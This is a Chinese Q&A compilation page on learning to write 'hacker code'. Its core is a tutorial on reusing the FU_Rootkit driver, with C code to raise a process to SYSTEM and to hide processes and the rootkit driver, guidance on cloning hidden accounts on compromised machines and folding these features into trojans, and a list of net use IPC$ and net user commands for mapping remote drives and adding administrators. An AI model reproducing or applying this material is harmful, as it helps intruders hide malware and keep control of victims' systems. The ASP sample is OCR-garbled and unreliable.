编写黑客代码第一步(黑客编程代码初级)
黑客第一步是什么啊?
键看你到那个阶段了,不过根据你提出这个问题,推测还处于原始阶段,那么就先买本电脑基础知识的书来看,了解什么是电脑(电脑硬件构成),什么是系统(电脑软件构成),当你了解后,就可以看电脑程序设计了,推荐看C语言程序设计,然后看汇编语言。当你精通后,你已经看见黑客的大门了,然后就可以看windows程序设计了,精通后就成为初级黑客了,就可以看linux源代码了,当你精通linux源代码后,恭喜你,进入大师级别了。
黑客应该怎样编程(PS:写程序跟写作文为什么
有关于软件工程问题是一只困扰着我的苍蝇,每当我试图打死一只就会冒出来更多,网络上以及身边的人给了我很多指导,但是并没有对我起到实质性的帮助,直到现在我才明白,项目控制与软件工程只适用于程序员,但并不适用于黑客们。
黑客们打算用心写的程序大多是自己都认为比较难以实现的巧妙玩意,这些带有研发性质的工作是无法使用软件工程中的思想对其进行有效控制的,因为这些工作往往只是在最初有一个比较宽泛的目标,恐怕就连作者本人都不确定自己的作品完成后究竟是什么样的,这个过程就像是画家作画的过程一样。微软在开发NT内核时就是一个典型的例子,原本计划最多18个月即可完成的项目,在大卫.卡特勒这位伟大的项目管理者的带领下却花了超过60个月的时间。幸好比尔.盖茨这位商业奇才帮助微软渡过了这危险的5年时间,从而才诞生了经典的Windows XP乃至于现在Windows 7。
用Paul Graham先生的话说“我写代码时会先按照自己的思路来写,不管有没有错误,在写完一个基本的框架后在开始调试,这就像绘画时的‘打草稿’,我不想正襟危坐,把一个盛满各种变量类型的茶杯小心翼翼的放在腿上,并且为了一丝不苟的与编译器大婶交谈而努力的挑选词语,确保变量类型准确,以使得自己显得礼貌又周到”。
黑客怎么编程序?
不知道你要学那一种:Asp.net编程中的数组基础实例学习asp.net数组(Array)可以视为储存多个数据类型相同的值的变量,以同一个变量名称,不同的索引值来区分表示多个值。多用来存放性质或类型相同的数据。 1.数组的声明数组的声明有以下两种格式:以下是引用片段:
Dim数组名(元素数量) 【As数据类型】
Dim数组名() 【As数据类型】={元素值l,元素值2…}
2.数组元素的表示当声明一个数组并赋予其元素之后,该数组即可开始执行,其中数组的元素表示方式如下:数组名(索引值)=元素值提示: 索引值自O起计算。数组元素量最多可声明264一1个(即Long类型)。3.范例编写一个asp程序,利用数组制作进入网页后显示当日日期的功能。程序代码:以下是引用片段:
01html
02hr
03 %
04 Dim cw(7)
05 cw(O)=¨星期日" .
06 cw(1)=¨星期一”
07 cw(2)="星期二”
08 cw(3)=¨星期三”
09 cw(4)=¨星期四¨
10 cw(5)=¨星期五”
11 cw(6)=¨星期六¨
1 2 response.write(¨今天是¨yea r(now())"年")
13 response.write(month(now()) "月" day(now()) & "日")
14 response.write(cw(Wee kDay(now())一1))
l5 %
1 6hr
l7/html
本程序的说明如下· 第3-1 5行:为asp程序的主体。· 第4行:声明一个数组CW,数组中元素有7个。· 第5~11行:定义数组中的每一个元素,数据类型是字符串。· 第1 2-1 4行:利用日期时间函数与数组将日期用response对象的write方法输出,其中在第l 4行,以WeekDay函数代.A,now()函数以求出星期值,其值范围在1~7,因为要代入数组中的索引值,而数组中的索引值从O计算,所以在此输出程序中要减1,将求出的星期值范围定在O~6,才能符合数组的索引值,以带出各索引值所代表的字符串。
黑客要从什么学起?
第一步是了解计算机,然后学习计算机和网络安全(这一步很多人以为要在最后学,其实是错误的,要突破安全,必须要先学习安全,知己知彼嘛),再学习编程。最后就是主攻黑客行业的知识(行规、法律、及黑客技能)。
大概流程就是上面的,具体细节就要在你学习过程中,自己总结了。
注意不要触犯法律
FU_Rootkit啊
fu_rootkit可以隐藏进程和驱动,改变进程令牌和SID,例举用hook技术隐藏的进程和驱动,而且它是公开源代码的。
===============================================
我在2004年11期黑防上刊登了《小工具巧删Guest/Administrator账户》这篇文章,有不少朋友来信询问工具是如何编写的,其实这个工具里面大部分代码是我拷贝FU_Rootkit过来的。既然朋友们喜欢,这几天我又多了好多想法,那我就来讲讲怎么充分挖掘利用FU_Rootkit吧!
先去www.rootkit.com把FU_Rootkit 给Down下来,以前它在Windows 2000专业版下面提升进程权限有问题,新版本已经修复这个问题。FU_Rootkit也算是“养在深闺人未识”了,比起Hxdef、AFX RootKit来名气小多了,不过是金子终究是要发光的,这不,今天我们就让它来发光了!
FU_Rootkit是开源的,用C语言编写,很容易移植。我的开发环境是Windows 2000+SP4+VC6.0。FU_Rootkit主程序包括2个部分:Fu.exe和Msdirectx.sys。 Msdirectx.sys能直接载入核心内存,Fu.exe则是相应的应用程序。先来看看它的部分功能:
[-pl] xxx 列举所有运行进程
[-ph] #PID 隐藏进程标识符为PID的进程
[-pld] 列举所有载入驱动程序
[-phd] DRIVER_NAME 隐藏指定驱动
[-pas] #PID 提升进程标识符为PID的进程权限至SYSTEM
[-prl] 列出可用的权限名单
[-prs] #PID #privilege_name 提升进程标识符为PID的进程权限至指定权限
[-pss] #PID #account_name 改变进程令牌和SID
可以看出FU_Rootkit不仅可以隐藏进程和驱动,改变进程令牌和SID,还可以例举用Hook技术隐藏的进程和驱动。我们今天要做的就是利用Msdirectx.sys完成我们自己的黑客工具集的编写!
权限提升
有了权限我们才能任意地操作,让电脑为我们实现各种功能,所以第一步首先是权限提升。
我们知道,提升进程权限可以用Psu工具,FU_Rootkit也能够实现这个功能,它可以将任意进程提升到SYSTEM权限——不光可以给其它进程提升权限,还可以把自己的进程也提升为SYSTEM权限哦(在下面的文章中你将可以看到这个功能是多么的有用)!
第一步:载入Msdirectx.sys
具体代码见InitDriver()函数。其实朋友们大可不必完全看懂这些代码,把函数直接拷贝过去就OK了。
第二步:查找进程的PID
代码如下:
const char DESTPROC[19] = "UserManager.exe"; // UserManager.exe是程序的进程名称
AddPrivilege(SE_DEBUG_NAME); //提升进程DEBUG权限
HANDLE hRemoteProcess = NULL;
DWORD pid = ProcessToPID(DESTPROC);//这里的pid就是我们进程PID
// ProcessToPID函数如下:
DWORD ProcessToPID(const char *InputProcessName)
//将进程名转换成进程PID的函数
{
DWORD aProcesses[1024], cbNeeded, cProcesses;
unsigned int i;
HANDLE hProcess = NULL;
HMODULE hMod = NULL;
char szProcessName[MAX_PATH] = "UnknownProcess";
//提升进程权限至DEBUG权限
AddPrivilege(SE_DEBUG_NAME);
// 计算目前有多少进程, aProcesses[]用来存放有效的进程PIDs
if ( !EnumProcesses( aProcesses, sizeof(aProcesses), cbNeeded ) )
{
return 0;
}
cProcesses = cbNeeded / sizeof(DWORD);
// 按有效的PID遍历所有的进程
for ( i = 0; i cProcesses; i++ )
{
// 打开特定PID的进程
hProcess = OpenProcess( PROCESS_QUERY_INFORMATION |
PROCESS_VM_READ,
FALSE, aProcesses[i]);
// 取得特定PID的进程名
if ( hProcess )
{
if ( EnumProcessModules( hProcess, hMod, sizeof(hMod), cbNeeded) )
{
GetModuleBaseName( hProcess, hMod, szProcessName, sizeof(szProcessName) );
//将取得的进程名与输入的进程名比较,如相同则返回进程PID
if(!stricmp(szProcessName, InputProcessName))
{
CloseHandle( hProcess );
return aProcesses[i];
}
}
}//end of if ( hProcess )
}//end of for
//没有找到相应的进程名,返回0
CloseHandle( hProcess );
return 0;
}
第三步:提升进程权限至SYSTEM
具体代码见UpdateToSystem()函数。这样我们的进程UserManager.exe就具备了SYSTEM权限了。
攻击篇
当你得到肉鸡的SYSTEM权限后,当然要把自己的后门进程或驱动器隐藏,然后克隆账号,留个隐藏账号什么的,下面我们就来看看这些功能如何用程序来实现。
1.克隆帐号
各位朋友看到小榕的CA工具是不是很眼馋,想不想自己写一个?在黑防2003年的第7期《C语言克隆账号》上已经有具体介绍。一般来讲,克隆账号的方法有2种:一种是利用系统服务的SYSTEM权限读写SAM文件;第二种是利用驱动提升进程权限。我们这里采用第二种办法。在《C语言克隆账号》一文中,由于其不具备SYSTEM权限,需要手工修改注册表才能够操作注册表SAM文件夹,比较麻烦。在我们这里当然是没有问题的,将其代码COPY过来,粘在我们工程里面就可以了。
2.进程隐藏
进程隐藏实乃木马病毒的必备防身本领,FU_Rootkit中的最基本功能之一就是进程隐藏,首先我们要知道进程的PID或者进程名,然后才能将它隐藏,隐藏代码如下:
DWORD HideProc(DWORD pid)//pid是你要隐藏的进程的PID
{
DWORD d_bytesRead;
DWORD success;
if (!Initialized)
{
return ERROR_NOT_READY;
}
success = DeviceIoControl(gh_Device,
IOCTL_ROOTKIT_HIDEME,
(void *) pid,
sizeof(DWORD),
NULL,
0,
d_bytesRead,
NULL);
return success;
}
假如你要想找出隐藏的进程,可以采用工具RTDector0.62工具,黑防以前就介绍过。
3. 驱动隐藏
驱动隐藏?很少见吧。有经验的管理员一般都会使用命令Drivers.exe来查看载入的驱动(Drivers.exe可以在Windows 2000的资源包里面找到),
看到Msdirectx.sys暴露出来了吧?而FU_Rootkit就可以把自己的 Msdirectx.sys隐藏起来,运行的命令是:“C:\fu.exe –phd msdirectx.sys”。当然这个功能我们也可以很轻松地移植到我们的程序中去。
防御篇
千万不要以为FU_Rootkit得到SYSTEM权限只是用来攻击,不能防守,其实Rootkit是一把“双刃剑”,运用得当,同样是防御的好帮手。同时,作为一名菜鸟,当然是防守为先,所以请看防守篇。
1. 系统用户查看
眼下只要翻开一本黑客杂志,经常看到什么“隐藏帐号”、“不死帐号”什么的,吓得我等菜鸟心惊胆颤,经常对着用户管理发呆,究竟有没有问题呢?这里我们可以利用LPUSER_INFO_3读取用户信息,包括用户名、用户全名、用户描述、登录次数、登录权限以及上次登录时间等参数,代码较长而且简单,这里就不贴了,有兴趣的可以查看DWORD CUserManagerDlg::UserALLE()函数。
当然,列举账号可以直接从SAM\\SAM\\Domains\\Account\\Users\\Names\中读取,然后与LPUSER_INFO_3中读出来的账号进行对比,这样就能找出隐藏的账号,将那些隐藏的、不死的统统打回原形,让你把账号看得“清清楚楚,明明白白”。
2. 删除Guest
先来看看如何删除Guest用户吧。获取SYSTEM权限后,只要删除在注册表SAM文件夹中对应的Guest和000001F5文件夹就OK了!
void CUserManagerDlg::Deleteguest()
{
BOOL upResult;
upResult=UpdateToSystem();
//先查看一下进程提示权限至SYSTEM成功没有
if(upResult)//如果权限提升SYSTEM成功的话
{
// 删除GUEST用户!
BOOL dResult;
dResult=DelNT(HKEY_LOCAL_MACHINE,"SAM\\SAM\\Domains\\Account\\Users\\Names\\Guest");//删除Guest文件夹
BOOL dResult2;
dResult2=DelNT(HKEY_LOCAL_MACHINE,"SAM\\SAM\\Domains\\Account\\Users\\000001F5");//删除guest对应的ID号000001F5文件夹
if(dResultdResult2)
{
AfxMessageBox("成功删除GUEST用户!");
}
else
{
AfxMessageBox("删除GUEST用户失败!");
}
}
else
{
AfxMessageBox("提升至SYSTEM权限失败!");
}
}
其中DelNT()函数是专门定义用来删除注册表子键的函数。
3. 删除Administrator
看到标题你可不要吓一跳,Administrator一般情况下是不能删除的,当然你可以到控制面板-管理工具-计算机管理里面重命名该账户,也可以使用NT Resource Kit提供的Passprop工具启用对Administrator的锁定。我们这里当然要挑战极限:删除Administrator!代码跟删除Guest用户的代码差不多,换个参数就可以了,分别删除注册表SAM文件夹中的Administrator和000001F4文件夹就可以了。而且可以在Administrator当前用户下删除,强吧?嘿嘿。假如你只有这么一个管理员账号的话呢,不好意思,恭喜你:你的机器上从此没有管理员了!
小提示:强烈建议删除Administrator之前一定要先创建一个其它名字的管理员账号!据《微软信息安全文集》中说,删除Administrator和Guest系统内置账户有可能导致破坏SAM数据库,不过《微软信息安全文集》的作者同时声明:经他测试,没有发现副作用。
4. 查杀进程篇
朋友们是否经常遇到这种情况:在任务管理器中发现一个未知进程,并且杀不掉,说是权限不够,这个问题在我们获取System权限后就不再是问题,现在病毒、木马等都是双进程,互相监控,给我们查杀进程带来很大不便,需要我们能够同时查杀多个进程。选用Listview控件作为进程的列举控件,将Checkbox选项选中,这样我们就可以同时选中多个进程进行查杀,爽吧?!
5. 列举用Hook技术隐藏的进程和驱动
这个功能就是FU_Rootkit的过人之处了,可以帮助你查找利用HOOK技术隐藏的进程和木马。实现方法比较简单,大家可以去源码中查看ListProc(void *buffer, int buff_size)和ListDriv(void)函数。
本文利用FU_Rootkit获取SYSTEM权限后,完成了很多实用的黑客小工具, System和Administrator权限一般人看起来感觉都差不多,但在一些与系统内核交互的细节上,可以看出System权限要更大一些。譬如说注册表中的某些文件夹、对物理内存有读写能力等方面。因此,获取System权限后所能做的事情远远不止我们上面所说的这些,希望大家共同挖掘。
http://www.rootkit.com/上有很多开源的好资源,研究并扩展其功能便可以写出很多有用的小软件。将其功能添加到我们小马中去,将会大大提高其生命力。朋友们,现在是不是感觉黑客软件不过如此,人人能写?如果是这样,也不枉费我一番苦心。由于工作关系,时间确实有限,不可能将上面的功能全部一一实现在代码中,其实已经是体力活了,很多功能都只需要把代码COPY进去就可以了。特将删除Guest/Administrator的小工具和FU_Rootkit的代码附上,朋友们升级了可要寄给我一份哦!
黑客代码在哪输入
开始————运行——CMD 黑客dos命令: net use \\ip\ipc$ " " /user:" " 建立IPC空链接 net use \\ip\ipc$ "密码" /user:"用户名" 建立IPC非空链接 net use h: \\ip\c$ "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H: net use h: \\ip\c$ 登陆后映射对方C:到本地为H: net use \\ip\ipc$ /del 删除IPC链接 net use h: /del 删除映射对方到本地的为H:的映射 net user 用户名 密码 /add 建立用户 net user guest /active:yes 激活guest用户 net user 查看有哪些用户 net user 帐户名 查看帐户的属性 net localgroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限 等等还有很多。。。。。。
电脑黑客如何编写程序?
额?黑客只有一小部分人自己琢磨着编程序(例如小榕工作室,专门编黑客软件),大部分都是用现有软件,例如流光啦之类的,还有一些直接用黑客文件,例如‘黑洞’软件、‘灰鸽子’软件这些可以直接种植到肉鸡中的文件